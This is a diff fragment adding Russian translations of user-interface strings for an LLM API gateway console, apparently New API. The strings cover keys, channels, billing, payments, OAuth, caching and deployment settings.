+    "Conversion rate from USD to your custom currency": "Курс конвертации из USD в вашу пользовательскую валюту",
+    "Convert reasoning_content to <think> tag in content": "Преобразовать reasoning_content в тег <think> в content",
+    "Copied": "Скопировано",
+    "Copied {{count}} key(s)": "Скопировано {{count}} ключ(ей)",
+    "Copied to clipboard": "Скопировано в буфер обмена",
+    "Copied: {{model}}": "Скопировано: {{model}}",
+    "Copied!": "Скопировано!",
+    "Copy": "Копировать",
+    "Copy All": "Скопировать все",
+    "Copy all backup codes": "Скопировать все резервные коды",
+    "Copy All Codes": "Скопировать все коды",
+    "Copy API key": "Скопировать ключ API",
+    "Copy authorization link": "Копировать ссылку авторизации",
+    "Copy Channel": "Скопировать канал",
+    "Copy code": "Копировать код",
+    "Copy Connection Info": "Копировать данные подключения",
+    "Copy failed": "Не удалось скопировать",
+    "Copy Header": "Копировать заголовок",
+    "Copy Key": "Копировать ключ",
+    "Copy Link": "Копировать ссылку",
+    "Copy model name": "Скопировать имя модели",
+    "Copy model names": "Скопировать имена моделей",
+    "Copy prompt": "Копировать промпт",
+    "Copy redemption code": "Скопировать код активации",
+    "Copy referral link": "Скопировать реферальную ссылку",
+    "Copy secret key": "Скопировать секретный ключ",
+    "Copy selected codes": "Копировать выбранные коды",
+    "Copy selected keys": "Копировать выбранные ключи",
+    "Copy the key and paste it here": "Скопируйте ключ и вставьте его сюда",
+    "Copy this prompt and send it to an LLM (e.g. ChatGPT / Claude) to help design your billing expression.": "Скопируйте этот промпт и отправьте его LLM (например, ChatGPT / Claude), чтобы помочь с разработкой выражения тарификации.",
+    "Copy to clipboard": "Копировать в буфер обмена",
+    "Copy token": "Копировать токен",
+    "Copy URL": "Скопировать URL",
+    "Core Features": "Основные функции",
+    "Cost": "Стоимость",
+    "Cost in USD per request, regardless of tokens used.": "Стоимость в долларах США за запрос, независимо от использованных токенов.",
+    "Cost Tracking": "Отслеживание затрат",
+    "Count must be between {{min}} and {{max}}": "Количество должно быть от {{min}} до {{max}}",
+    "Coze": "Coze",
+    "CPU Threshold (%)": "Порог CPU (%)",
+    "Create": "Создать",
+    "Create a copy of:": "Создать копию:",
+    "Create a new user group to configure ratio overrides for.": "Создайте новую группу пользователей для настройки переопределений соотношений.",
+    "Create account": "Создать аккаунт",
+    "Create an account": "Создать аккаунт",
+    "Create and review invite or credit codes.": "Создать и просмотреть коды приглашений или кредитов.",
+    "Create API Key": "Создать ключ API",
+    "Create cache": "Создать кеш",
+    "Create cache ratio": "Создать коэффициент кэширования",
+    "Create Channel": "Создать канал",
+    "Create Code": "Создать код",
+    "Create credentials for the root user": "Создайте учётные данные для администратора",
+    "Create deployment": "Создать развертывание",
+    "Create Model": "Создать модель",
+    "Create multiple API keys at once (random suffix will be added to names)": "Создать несколько API-ключей одновременно (случайный суффикс будет добавлен к именам)",
+    "Create multiple channels from multiple keys": "Создать несколько каналов из нескольких ключей",
+    "Create multiple redemption codes at once (1-100)": "Создать несколько кодов активации одновременно (1-100)",
+    "Create new subscription plan": "Создать новый план подписки",
+    "Create or update frequently asked questions for users": "Создать или обновить часто задаваемые вопросы для пользователей",
+    "Create or update system announcements for the dashboard": "Создать или обновить системные объявления для панели управления",
+    "Create Plan": "Создать план",
+    "Create Prefill Group": "Создать группу предзаполнения",
+    "Create Provider": "Создать провайдер",
+    "Create Redemption Code": "Создать код активации",
+    "Create reusable bundles of models, tags, endpoints, and user groups to speed up configuration elsewhere in the console.": "Создавайте многократно используемые пакеты моделей, тегов, конечных точек и групп пользователей для ускорения настройки в других частях консоли.",
+    "Create succeeded": "Успешно создано",
+    "Create Vendor": "Создать поставщика",
+    "Create your first group to reuse model, tag, or endpoint selections anywhere in the dashboard.": "Создайте свою первую группу для повторного использования выбранных моделей, тегов или конечных точек в любом месте панели управления.",
+    "Create, revoke, and audit API tokens.": "Создать, отозвать и аудитировать токены API.",
+    "Created": "Создано",
+    "Created At": "Дата создания",
+    "Credential generated": "Учётные данные созданы",
+    "Credential refreshed": "Учётные данные обновлены",
+    "Credentials": "Учетные данные",
+    "Creem API key (leave blank unless updating)": "Ключ API Creem (оставьте пустым, если не обновляете)",
+    "Creem Gateway": "Шлюз Creem",
+    "Creem Payment": "Платеж Creem",
+    "Creem product ID from your Creem dashboard.": "ID продукта Creem из вашего дашборда Creem.",
+    "Creem products must be a JSON array": "Продукты Creem должны быть JSON-массивом",
+    "Cross-group": "Межгрупповой",
+    "Cross-group retry": "Повтор между группами",
+    "Curate quick links to your different Domains": "Подбирайте быстрые ссылки на ваши различные домены",
+    "Currency": "Валюта",
+    "Current Balance": "Текущий баланс",
+    "Current Billing": "Текущие счета",
+    "Current Cache Size": "Текущий размер кэша",
+    "Current email: {{email}}. Enter a new email to change.": "Текущий email: {{email}}. Введите новый email для изменения.",
+    "Current key": "Текущий ключ",
+    "Current models for the longest channel in this tag. May not include all models from all channels.": "Текущие модели для самого длинного канала в этом теге. Может не включать все модели из всех каналов.",
+    "Current Password": "Текущий пароль",
+    "Current Price": "Текущая цена",
+    "Current quota": "Текущая квота",
+    "Current Value": "Текущее значение",
+    "Current version": "Текущая версия",
+    "Current:": "Текущий:",
+    "Custom": "Пользовательский",
+    "Custom (seconds)": "Пользовательский (секунды)",
+    "Custom Amount": "Пользовательская сумма",
+    "Custom API base URL. For official channels, New API has built-in addresses. Only fill this for third-party proxy sites or special endpoints. Do not add /v1 or trailing slash.": "Пользовательский базовый URL API. Для официальных каналов New API имеет встроенные адреса. Заполняйте это поле только для сторонних прокси-сайтов или специальных конечных точек. Не добавляйте /v1 или завершающий слэш.",
+    "Custom API base URL. Leave empty to use provider default.": "Пользовательский базовый URL API. Оставьте пустым для использования значения по умолчанию провайдера.",
+    "Custom Currency": "Пользовательская валюта",
+    "Custom Currency Symbol": "Пользовательский символ валюты",
+    "Custom currency symbol is required": "Пользовательский символ валюты обязателен",
+    "Custom database driver detected.": "Обнаружен пользовательский драйвер базы данных.",
+    "Custom Home Page": "Пользовательская домашняя страница",
+    "Custom message shown when access is denied": "Пользовательское сообщение, отображаемое при отказе в доступе",
+    "Custom model (comma-separated)": "Пользовательская модель (через запятую)",
+    "Custom module": "Пользовательский модуль",
+    "Custom multipliers when specific user groups use specific token groups. Example: VIP users get 0.9x rate when using \"edit_this\" group tokens.": "Пользовательские множители, когда определенные группы пользователей используют определенные группы токенов. Пример: VIP-пользователи получают ставку 0.9x при использовании токенов группы \"edit_this\".",
+    "Custom OAuth": "Пользовательский OAuth",
+    "Custom OAuth Providers": "Пользовательские OAuth-провайдеры",
+    "Custom Seconds": "Пользовательские секунды",
+    "Custom sidebar section": "Пользовательский раздел боковой панели",
+    "Custom Time Range": "Пользовательский диапазон времени",
+    "Custom Zoom": "Пользовательский зум",
+    "Customize sidebar display content": "Настроить содержимое боковой панели",
+    "Daily": "Ежедневно",
+    "Daily Check-in": "Ежедневный вход",
+    "Dark": "Тёмная",
+    "Dashboard": "Панель управления",
+    "Dashboards, tokens, and usage analytics.": "Панели управления, токены и аналитика использования.",
+    "Data Dashboard": "Панель мониторинга данных",
+    "Data directory:": "Каталог данных:",
+    "Data is stored locally on this device. Use system backups to keep a safe copy.": "Данные хранятся локально на этом устройстве. Используйте системные резервные копии для сохранения безопасной копии.",
+    "Data management and log viewing": "Управление данными и просмотр логов",
+    "Database": "База данных",
+    "Database check": "Проверка базы данных",
+    "Date and time when this announcement should be displayed": "Дата и время отображения этого объявления",
+    "Date Range": "Диапазон дат",
+    "Day": "День",
+    "days": "дней",
+    "Days to Retain": "Дней хранения",
+    "Deducted by subscription": "Списано по подписке",
+    "DeepSeek": "DeepSeek",
+    "default": "по умолчанию",
+    "Default": "По умолчанию",
+    "Default (New Frontend)": "По умолчанию (Новый интерфейс)",
+    "Default API Version *": "Версия API по умолчанию *",
+    "Default API version for this channel": "Версия API по умолчанию для этого канала",
+    "Default Collapse Sidebar": "Сворачивать боковую панель по умолчанию",
+    "Default Max Tokens": "Максимальное количество токенов по умолчанию",
+    "Default Responses API version, if empty, will use the API version above": "Версия API ответов по умолчанию; если пусто, будет использоваться версия API, указанная выше",
+    "Default system prompt for this channel": "Системный промпт по умолчанию для этого канала",
+    "Default time granularity": "Гранулярность времени по умолчанию",
+    "Default to auto groups": "По умолчанию использовать автогруппы",
+    "Default TTL (seconds)": "TTL по умолчанию (секунды)",
+    "Defaults to the wallet page when empty": "Если пусто, по умолчанию открывается страница кошелька",
+    "Define API endpoints for this model (JSON format)": "Определить конечные точки API для этой модели (формат JSON)",
+    "Define endpoint mappings for each provider.": "Определите сопоставления конечных точек для каждого провайдера.",
+    "Define per-group rules to add, remove, or append selectable groups for specific user groups.": "Определите правила для групп, чтобы добавлять, удалять или дополнять доступные группы для конкретных групп пользователей.",
+    "Delete": "Удалить",
+    "Delete (": "Удалить (",
+    "Delete {{count}} API key(s)?": "Удалить {{count}} API-ключ(а/ей)?",
+    "Delete Account": "Удалить аккаунт",
+    "Delete All Disabled": "Удалить все отключенные",
+    "Delete All Disabled Channels?": "Удалить все отключенные каналы?",
+    "Delete Auto-Disabled": "Удалить автоматически отключенные",
+    "Delete Channel": "Удалить канал",
+    "Delete Channels?": "Удалить каналы?",
+    "Delete failed": "Не удалось удалить",
+    "Delete group": "Удалить группу",
+    "Delete Header": "Удалить заголовок",
+    "Delete Invalid": "Удалить недействительные",
+    "Delete invalid codes": "Удалить недействительные коды",
+    "Delete invalid codes (used/disabled/expired)": "Удалить недействительные коды (использованные/отключенные/истекшие)",
+    "Delete invalid redemption codes": "Удалить недействительные коды активации",
+    "Delete Invalid Redemption Codes?": "Удалить недействительные коды активации?",
+    "Delete logs": "Удалить логи",
+    "Delete Model": "Удалить модель",
+    "Delete Models?": "Удалить модели?",
+    "Delete Provider": "Удалить провайдер",
+    "Delete selected API keys": "Удалить выбранные ключи API",
+    "Delete selected channels": "Удалить выбранные каналы",
+    "Delete selected models": "Удалить выбранные модели",
+    "Deleted": "Удалён",
+    "Deleted successfully": "Удалено успешно",
+    "Deleting will permanently remove this subscription record (including benefit details). Continue?": "Удаление безвозвратно удалит запись подписки (включая детали льгот). Продолжить?",
+    "Deleting...": "Удаление...",
+    "Demo site": "Демо-сайт",
+    "Demo site mode": "Режим демо-сайта",
+    "Demo Site Mode": "Режим демонстрационного сайта",
+    "Demote": "Понизить версию",
+    "Deployment created successfully": "Развертывание создано успешно",
+    "Deployment details": "Детали развертывания",
+    "Deployment ID": "ID развертывания",
+    "Deployment location": "Локация развертывания",
+    "Deployment logs": "Логи развертывания",
+    "Deployment Region *": "Регион развертывания *",
+    "Deployment requested": "Развертывание запрошено",
+    "Deployments": "Развертывания",
+    "Desc": "Описание",
+    "Describe": "Описание",
+    "Describe this model...": "Опишите эту модель...",
+    "Describe this vendor...": "Опишите этого поставщика...",
+    "Description": "Описание",
+    "Description is required": "Описание обязательно",
+    "Designed and Developed by": "Разработано и создано",
+    "designed for scale": "спроектировано для масштабирования",
+    "Destroyed": "Уничтожено",
+    "Detailed request logs for investigations.": "Подробные журналы запросов для расследований.",
+    "Details": "Детали",
+    "Detect All Upstream Updates": "Обнаружить все обновления из upstream",
+    "Detected database": "Обнаруженная база данных",
+    "Detected high-risk status code redirect rules": "Обнаружены следующие правила перенаправления кодов состояния высокого риска:",
+    "Detection complete: {{add}} to add, {{remove}} to remove": "Обнаружение завершено: {{add}} для добавления, {{remove}} для удаления",
+    "Detection failed": "Обнаружение не удалось",
+    "Determines how this group is applied elsewhere.": "Определяет, как эта группа применяется в других местах.",
+    "Developer Friendly": "Удобно для разработчиков",
+    "Device Type Preference": "Предпочтения типа устройства",
+    "Dify": "Dify",
+    "Dify channels only support chatflow and agent, and agent does not support images": "Каналы Dify поддерживают только chatflow и agent, а agent не поддерживает изображения",
+    "Digest:": "Дайджест:",
+    "Direction": "Направление",
+    "Directory File Count": "Файлов в каталоге",
+    "Directory Total Size": "Общий размер каталога",
+    "Disable": "Отключить",
+    "Disable 2FA": "Отключить 2FA",
+    "Disable All": "Отключить все",
+    "Disable on failure": "Отключить при сбое",
+    "Disable selected channels": "Отключить выбранные каналы",
+    "Disable selected models": "Отключить выбранные модели",
+    "Disable store passthrough": "Отключить сквозной переход магазина",
+    "Disable thinking processing models": "Отключить модели с обработкой размышлений",
+    "Disable this key?": "Отключить этот ключ?",
+    "Disable threshold (seconds)": "Порог отключения (секунды)",
+    "Disable Two-Factor Authentication": "Отключить двухфакторную аутентификацию",
+    "disabled": "отключено",
+    "Disabled": "Отключено",
+    "Disabled all channels with tag: {{tag}}": "Все каналы с тегом {{tag}} отключены",
+    "Disabled Reason": "Причина отключения",
+    "Disabled Time": "Время отключения",
+    "Disabling...": "Отключение...",
+    "Discord": "Discord",
+    "Discount": "Скидка",
+    "Discount map by recharge amount (JSON object)": "Карта скидок по сумме пополнения (объект JSON)",
+    "Discount Rate": "Ставка скидки",
+    "Discount rate must be ≤ 1": "Ставка скидки должна быть ≤ 1",
+    "Discount rate must be greater than 0": "Ставка скидки должна быть больше 0",
+    "Discount Rate:": "Ставка скидки:",
+    "Discount ratio for cache hits.": "Коэффициент скидки для попаданий в кэш.",
+    "Discouraged": "Не рекомендуется",
+    "Discovering...": "Обнаружение...",
+    "Disk cache cleared": "Дисковый кэш очищен",
+    "Disk Cache Settings": "Настройки дискового кэша",
+    "Disk Cache Threshold (MB)": "Порог дискового кэша (МБ)",
+    "Disk cache, system performance monitoring, and operation statistics": "Дисковый кэш, мониторинг производительности и статистика",
+    "Disk Hits": "Попаданий диска",
+    "Disk Threshold (%)": "Порог диска (%)",
+    "Display in Currency": "Отображать в валюте",
+    "Display Mode": "Режим отображения",
+    "Display name": "Отображаемое имя",
+    "Display Name": "Отображаемое имя",
+    "Display name and email used in outgoing messages": "Отображаемое имя и адрес электронной почты, используемые в исходящих сообщениях",
+    "Display Name Field": "Поле отображаемого имени",
+    "Display name for this chat client.": "Отображаемое имя для этого чат-клиента.",
+    "Display name for this monitoring group (max 50 characters)": "Отображаемое имя для этой группы мониторинга (макс. 50 символов)",
+    "Display name for this payment method.": "Отображаемое имя для этого метода оплаты.",
+    "Display name shown to users.": "Отображаемое название для пользователей.",
+    "Display Options": "Параметры отображения",
+    "Display Token Statistics": "Показать статистику токенов",
+    "Displays the mobile sidebar.": "Отображает мобильную боковую панель.",
+    "Do not over-trust this feature. IP may be spoofed. Please use with nginx, CDN and other gateways.": "Не доверяйте этой функции слишком сильно. IP может быть подделан. Используйте с nginx, CDN и другими шлюзами.",
+    "Do not repeat check-in; only once per day": "Не повторяйте отметку; только один раз в день",
+    "Docs": "Документы",
+    "Documentation Link": "Ссылка на документацию",
+    "Documentation or external knowledge base.": "Документация или внешняя база знаний.",
+    "does not exist or might have been removed.": "не существует или, возможно, был удален.",
+    "Domain": "Домен",
+    "Domain Filter Mode": "Режим фильтра домена",
+    "Don't have an account?": "У вас нет аккаунта?",
+    "Done": "Готово",
+    "Doubao Coding Plan": "План кодирования Doubao",
+    "Doubao custom API address editing unlocked": "Редактирование пользовательского адреса API Doubao разблокировано",
+    "DoubaoVideo": "DoubaoVideo",
+    "Double check the configuration below. Your system will be locked until initialization is complete.": "Дважды проверьте конфигурацию ниже. Ваша система будет заблокирована до завершения инициализации.",
+    "Download": "Скачать",
+    "Draw": "Рисование",
+    "Drawing": "Рисование",
+    "Drawing logs": "Журналы рисования",
+    "Drawing Logs": "Журнал рисования",
+    "Drawing task records": "Записи задач рисования",
+    "Duplicate": "Дублировать",
+    "Duration": "Длительность",
+    "Duration (hours)": "Длительность (часы)",
+    "Duration Settings": "Настройки срока действия",
+    "Duration Unit": "Единица срока",
+    "Duration Value": "Значение срока",
+    "Dynamic Pricing": "Динамическое ценообразование",
+    "e.g. ¥ or HK$": "напр. ¥ или HK$",
+    "e.g. 401, 403, 429, 500-599": "напр. 401, 403, 429, 500-599",
+    "e.g. 8 means 1 USD = 8 units": "напр. 8 означает 1 USD = 8 единиц",
+    "e.g. Basic Plan": "напр. Базовый план",
+    "e.g. example.com": "напр. example.com",
+    "e.g. llama3.1:8b": "например llama3.1:8b",
+    "e.g. My GitLab": "например, My GitLab",
+    "e.g. my-gitlab": "например, my-gitlab",
+    "e.g. New API Console": "напр. консоль New API",
+    "e.g. openid profile email": "например, openid profile email",
+    "e.g. Suitable for light usage": "напр. Подходит для лёгкого использования",
+    "e.g., 0.95": "напр., 0.95",
+    "e.g., 100": "напр., 100",
+    "e.g., 123456": "напр., 123456",
+    "e.g., 2025-04-01-preview": "напр., 2025-04-01-preview",
+    "e.g., 50": "напр., 50",
+    "e.g., 500000": "напр., 500000",
+    "e.g., 7342866812345": "напр., 7342866812345",
+    "e.g., 8 means 8 local currency per USD": "например, 8 означает 8 местной валюты за доллар США",
+    "e.g., Alipay, WeChat": "например, Alipay, WeChat",
+    "e.g., Basic Package": "напр., Базовый пакет",
+    "e.g., CN2 GIA": "например, CN2 GIA",
+    "e.g., Core APIs, OpenAI, Claude": "например, Core APIs, OpenAI, Claude",
+    "e.g., d6b5da8hk1awo8nap34ube6gh": "например, d6b5da8hk1awo8nap34ube6gh",
+    "e.g., default, vip, premium": "например, default, vip, premium",
+    "e.g., gpt-4, claude-3": "напр. gpt-4, claude-3",
+    "e.g., https://api.example.com (path before /suno)": "например, https://api.example.com (путь до /suno)",
+    "e.g., https://api.openai.com/v1/chat/completions": "например, https://api.openai.com/v1/chat/completions",
+    "e.g., https://ark.cn-beijing.volces.com": "например, https://ark.cn-beijing.volces.com",
+    "e.g., https://docs-test-001.openai.azure.com": "например, https://docs-test-001.openai.azure.com",
+    "e.g., https://fastgpt.run/api/openapi": "например, https://fastgpt.run/api/openapi",
+    "e.g., OpenAI GPT-4 Production": "напр., OpenAI GPT-4 Production",
+    "e.g., preview": "например, preview",
+    "e.g., prod_xxx": "напр., prod_xxx",
+    "e.g., Recommended for China Mainland Users": "например, Рекомендуется для пользователей материкового Китая",
+    "e.g., us-central1 or JSON format for model-specific regions": "например, us-central1 или формат JSON для регионов, специфичных для модели",
+    "e.g., v2.1": "например, v2.1",
+    "Each backup code can only be used once.": "Каждый код восстановления можно использовать только один раз.",
+    "Each item must be an object with a single key-value pair.": "Каждый элемент должен быть объектом с одной парой ключ-значение.",
+    "Each item must have exactly one key-value pair.": "Каждый элемент должен иметь ровно одну пару ключ-значение.",
+    "Each line represents one keyword. Leave blank to disable the list but keep the switch states.": "Каждая строка представляет одно ключевое слово. Оставьте пустым, чтобы отключить список, но сохранить состояния переключателей.",
+    "Each tier supports 0~2 conditions (over len, p, c); the last tier is the catch-all without conditions. Use len (full input length, including cache hits) for tier conditions to avoid mis-routing when cache hits reduce p.": "Каждый уровень поддерживает 0–2 условия (по len, p, c); последний уровень — резервный, без условий. Используйте len (полная длина ввода, включая попадания в кэш) для условий уровня, чтобы избежать ошибочной маршрутизации, когда попадания в кэш уменьшают p.",
+    "Earn rewards when your referrals add funds. Transfer accumulated rewards to your balance anytime.": "Получайте вознаграждения, когда ваши рефералы пополняют счет. Переводите накопленные вознаграждения на свой баланс в любое время.",
+    "Edit": "Редактировать",
+    "Edit {{title}}": "Редактировать {{title}}",
+    "Edit all channels with tag:": "Редактировать все каналы с тегом:",
+    "Edit Announcement": "Редактировать объявление",
+    "Edit API Shortcut": "Редактировать ярлык API",
+    "Edit Channel": "Редактировать канал",
+    "Edit chat preset": "Редактировать пресет чата",
+    "Edit discount tier": "Редактировать уровень скидки",
+    "Edit FAQ": "Редактировать FAQ",
+    "Edit group rate limit": "Редактировать лимит скорости группы",
+    "Edit model": "Редактировать модель",
+    "Edit Model": "Редактировать модель",
+    "Edit OAuth Provider": "Редактировать поставщика OAuth",
+    "Edit payment method": "Редактировать способ оплаты",
+    "Edit Prefill Group": "Редактировать группу предзаполнения",
+    "Edit product": "Редактировать продукт",
+    "Edit ratio override": "Редактировать переопределение коэффициента",
+    "Edit Rule": "Редактировать правило",
+    "Edit selectable group": "Редактировать выбираемую группу",
+    "Edit Tag": "Редактировать тег",
+    "Edit Tag:": "Редактировать тег:",
+    "Edit Uptime Kuma Group": "Редактировать группу Uptime Kuma",
+    "Edit Vendor": "Редактировать поставщика",
+    "edit_this": "изменить_это",
+    "Editor mode": "Режим редактора",
+    "Email": "Электронная почта",
+    "Email (required for verification)": "Email (требуется для верификации)",
+    "Email Address": "Адрес электронной почты",
+    "Email Alias Restriction": "Ограничение по псевдониму Email",
+    "Email bound successfully!": "Email успешно привязан!",
+    "Email Domain Restriction": "Ограничение по домену Email",
+    "Email Domain Whitelist": "Белый список доменов Email",
+    "Email Field": "Поле email",
+    "Email Verification": "Верификация Email",
+    "Embeddings": "Встраивания",
+    "Empty value will be saved as {}.": "Пустое значение будет сохранено как {}.",
+    "Enable": "Включить",
+    "Enable 2FA": "Включить 2FA",
+    "Enable All": "Включить все",
+    "Enable check-in feature": "Включить функцию прибытия",
+    "Enable Data Dashboard": "Включить панель данных",
+    "Enable demo mode with limited functionality": "Включить демонстрационный режим с ограниченной функциональностью",
+    "Enable Discord OAuth": "Включить Discord OAuth",
+    "Enable Disk Cache": "Включить дисковый кэш",
+    "Enable drawing features": "Включить функции рисования",
+    "Enable filtering": "Включить фильтрацию",
+    "Enable FunctionCall thoughtSignature Fill": "Включить автозаполнение thoughtSignature для FunctionCall",
+    "Enable GitHub OAuth": "Включить GitHub OAuth",
+    "Enable Groups": "Включить группы",
+    "Enable if this is an OpenRouter enterprise account with special response format": "Включите, если это корпоративный аккаунт OpenRouter со специальным форматом ответа",
+    "Enable io.net deployments": "Включить развертывания io.net",
+    "Enable io.net model deployment service in console": "Включить сервис развертывания моделей io.net в консоли",
+    "Enable LinuxDO OAuth": "Включить LinuxDO OAuth",
+    "Enable OIDC": "Включить OIDC",
+    "Enable or disable this channel": "Включить или отключить этот канал",
+    "Enable or disable this model": "Включить или отключить эту модель",
+    "Enable or disable top navigation modules globally.": "Включить или отключить модули верхней навигации глобально.",
+    "Enable Passkey": "Включить Passkey",
+    "Enable Performance Monitoring": "Включить мониторинг производительности",
+    "Enable rate limiting": "Включить ограничение скорости",
+    "Enable Request Passthrough": "Включить сквозную передачу запросов",
+    "Enable selected channels": "Включить выбранные каналы",
+    "Enable selected models": "Включить выбранные модели",
+    "Enable SSL/TLS": "Включить SSL/TLS",
+    "Enable SSRF Protection": "Включить защиту от SSRF",
+    "Enable streaming mode for the test request.": "Включить потоковый режим для тестового запроса.",
+    "Enable Telegram OAuth": "Включить Telegram OAuth",
+    "Enable test mode for Creem payments": "Включить тестовый режим для платежей Creem",
+    "Enable this key?": "Включить этот ключ?",
+    "Enable Turnstile": "Включить Turnstile",
+    "Enable Two-factor Authentication or Passkey in your profile to unlock sensitive operations.": "Включите двухфакторную аутентификацию или Passkey в своем профиле, чтобы разблокировать конфиденциальные операции.",
+    "Enable unlimited quota for this API key": "Включить неограниченную квоту для этого ключа API",
+    "Enable violation deduction": "Включить вычет за нарушения",
+    "Enable Waffo": "Включить Waffo",
+    "Enable Waffo Pancake": "Включить Waffo Pancake",
+    "Enable WeChat Auth": "Включить аутентификацию WeChat",
+    "Enable when proxying workers that fetch images over HTTP.": "Включить при проксировании воркеров, которые получают изображения по HTTP.",
+    "Enabled": "Включено",
+    "Enabled all channels with tag: {{tag}}": "Все каналы с тегом {{tag}} включены",
+    "Enabled Status": "Статус включения",
+    "Enabling...": "Включается...",
+    "End": "End",
+    "End Error": "Ошибка завершения",
+    "End Reason": "Причина завершения",
+    "End Time": "Время окончания",
+    "Endpoint": "Точка доступа",
+    "Endpoint config": "Конфигурация конечной точки",
+    "Endpoint Configuration": "Конфигурация конечной точки",
+    "Endpoint Type": "Тип конечной точки",
+    "Endpoint:": "Конечная точка:",
+    "Endpoints": "Конечные точки",
+    "English": "Английский",
+    "Ensure Prefix": "Обеспечить префикс",
+    "Ensure Suffix": "Обеспечить суффикс",
+    "Enter 6-digit code": "Введите 6-значный код",
+    "Enter a name": "Введите имя",
+    "Enter a new name": "Введите новое имя",
+    "Enter a positive or negative amount to adjust the quota": "Введите положительную или отрицательную сумму для корректировки квоты",
+    "Enter a valid email or leave blank": "Введите действительный email или оставьте пустым",
+    "Enter a value and press Enter": "Введите значение и нажмите Enter",
+    "Enter amount in {{currency}}": "Введите сумму в {{currency}}",
+    "Enter amount in tokens": "Введите сумму в токенах",
+    "Enter announcement content (supports Markdown & HTML)": "Введите содержимое объявления (поддерживает Markdown и HTML)",
+    "Enter announcement content (supports Markdown/HTML)": "Введите содержимое объявления (поддерживает Markdown/HTML)",
+    "Enter API Key": "Введите API-ключ",
+    "Enter API Key, format: APIKey|Region": "Введите ключ API, формат: APIKey|Region",
+    "Enter API Key, one per line, format: APIKey|Region": "Введите ключ API, по одному на строку, формат: APIKey|Region",
+    "Enter application token": "Введите токен приложения",
+    "Enter authenticator code": "Введите код аутентификатора",
+    "Enter backup code (e.g., CAWD-OQDV)": "Введите резервный код (например, CAWD-OQDV)",
+    "Enter code": "Введите код",
+    "Enter code or backup code": "Введите код или резервный код",
+    "Enter Completion price to calculate ratio": "Введите цену Completion для расчёта коэффициента",
+    "Enter Creem API key": "Введите ключ API Creem",
+    "Enter custom API endpoint URL": "Введите URL пользовательской конечной точки API",
+    "Enter deployment region or JSON mapping:": "Введите регион развертывания или JSON-сопоставление:",
+    "Enter display name": "Введите отображаемое имя",
+    "Enter HTML code (e.g., <p>About us...</p>) or a URL (e.g., https://example.com) to embed as iframe": "Введите HTML-код (например, <p>О нас...</p>) или URL (например, https://example.com) для встраивания в виде iframe",
+    "Enter Input price to calculate ratio": "Введите цену Input для расчёта коэффициента",
+    "Enter key, format: AccessKey|SecretAccessKey|Region": "Введите ключ, формат: AccessKey|SecretAccessKey|Region",
+    "Enter key, one per line, format: AccessKey|SecretAccessKey|Region": "Введите ключ, по одному на строку, формат: AccessKey|SecretAccessKey|Region",
+    "Enter model name": "Введите имя модели",
+    "Enter new key to update": "Введите новый ключ для обновления",
+    "Enter new key to update, or leave empty to keep current key": "Введите новый ключ для обновления или оставьте пустым, чтобы сохранить текущий ключ",
+    "Enter new tag name (leave empty to disband tag)": "Введите новое имя тега (оставьте пустым, чтобы удалить тег)",
+    "Enter new tag name or leave empty": "Введите новое имя тега или оставьте пустым",
+    "Enter new token to update": "Введите новый токен для обновления",
+    "Enter one API key per line for batch creation": "Введите по одному API-ключу на строку для пакетного создания",
+    "Enter one key per line for batch creation": "Введите по одному ключу на строку для пакетного создания",
+    "Enter one keyword per line": "Введите по одному ключевому слову на строку",
+    "Enter password": "Введите пароль",
+    "Enter password (8-20 characters)": "Введите пароль (8-20 символов)",
+    "Enter password (min 8 characters)": "Введите пароль (минимум 8 символов)",
+    "Enter quota in {{currency}}": "Введите квоту в {{currency}}",
+    "Enter quota in tokens": "Введите квоту в токенах",
+    "Enter secret key": "Введите секретный ключ",
+    "Enter system prompt (user prompt takes priority)": "Введите системный промпт (пользовательский промпт имеет приоритет)",
+    "Enter tag name (optional)": "Введите имя тега (необязательно)",
+    "Enter the 6-digit code from your authenticator app": "Введите 6-значный код из вашего приложения-аутентификатора",
+    "Enter the 6-digit Time-based One-Time Password or 8-character backup code from your authenticator app.": "Введите 6-значный одноразовый пароль на основе времени или 8-значный резервный код из вашего приложения-аутентификатора.",
+    "Enter the complete URL, supports": "Введите полный URL, поддерживает",
+    "Enter the Coze agent ID": "Введите ID агента Coze",
+    "Enter the full URL of your Gotify server": "Введите полный URL вашего сервера Gotify",
+    "Enter the knowledge base ID": "Введите ID базы знаний",
+    "Enter the path before /suno, usually just the domain": "Введите путь перед /suno, обычно это просто домен",
+    "Enter the quota amount in {{currency}}": "Введите сумму квоты в {{currency}}",
+    "Enter the quota amount in tokens": "Введите количество квоты в токенах",
+    "Enter the verification code": "Введите проверочный код",
+    "Enter threshold": "Введите порог",
+    "Enter token counts to preview the estimated cost (excluding group multipliers).": "Введите количество токенов для оценки стоимости (множители групп не учитываются).",
+    "Enter URL...": "Введите URL...",
+    "Enter username": "Введите имя пользователя",
+    "Enter verification code": "Введите проверочный код",
+    "Enter webhook secret": "Введите секрет webhook",
+    "Enter your authenticator code or a backup code": "Введите код аутентификатора или резервный код",
+    "Enter your email": "Введите ваш адрес электронной почты",
+    "Enter your redemption code": "Введите код активации",
+    "Enter your registered email and we will send you a link to reset your password.": "Введите ваш зарегистрированный адрес электронной почты, и мы вышлем вам ссылку для сброса пароля.",
+    "Enter your username": "Введите ваше имя пользователя",
+    "Enter your username or email": "Введите ваше имя пользователя или адрес электронной почты",
+    "Enterprise Account": "Корпоративная учетная запись",
+    "Enterprise-grade security with comprehensive permission management": "Безопасность корпоративного уровня с комплексным управлением разрешениями",
+    "Entrypoint (space separated)": "Точка входа (через пробелы)",
+    "Env (JSON object)": "Env (объект JSON)",
+    "Environment variables": "Переменные окружения",
+    "Environment variables (JSON)": "Переменные окружения (JSON)",
+    "Epay endpoint": "Конечная точка Epay",
+    "Epay Gateway": "Шлюз Epay",
+    "Epay merchant ID": "ID торговца EasyPay",
+    "Epay secret key": "Секретный ключ Epay",
+    "Error": "Ошибка",
+    "Error Message": "Сообщение об ошибке",
+    "Estimated cost": "Примерная стоимость",
+    "Estimated quota cost": "Ориентир стоимости квоты",
+    "Exact": "Точное",
+    "Exact Match": "Точное совпадение",
+    "Example": "Пример",
+    "Example (all channels):": "Пример (все каналы):",
+    "Example (specific channels):": "Пример (указанные каналы):",
+    "Example:": "Пример:",
+    "example.com&#10;blocked-site.com": "example.com&#10;blocked-site.com",
+    "example.com&#10;company.com": "example.com&#10;company.com",
+    "Excellent": "Отлично",
+    "Exchange rate is required": "Требуется курс обмена",
+    "Exchange rate must be greater than 0": "Курс обмена должен быть больше 0",
+    "Exhausted": "Исчерпано",
+    "Existing account will be reused": "Существующая учётная запись будет использована повторно",
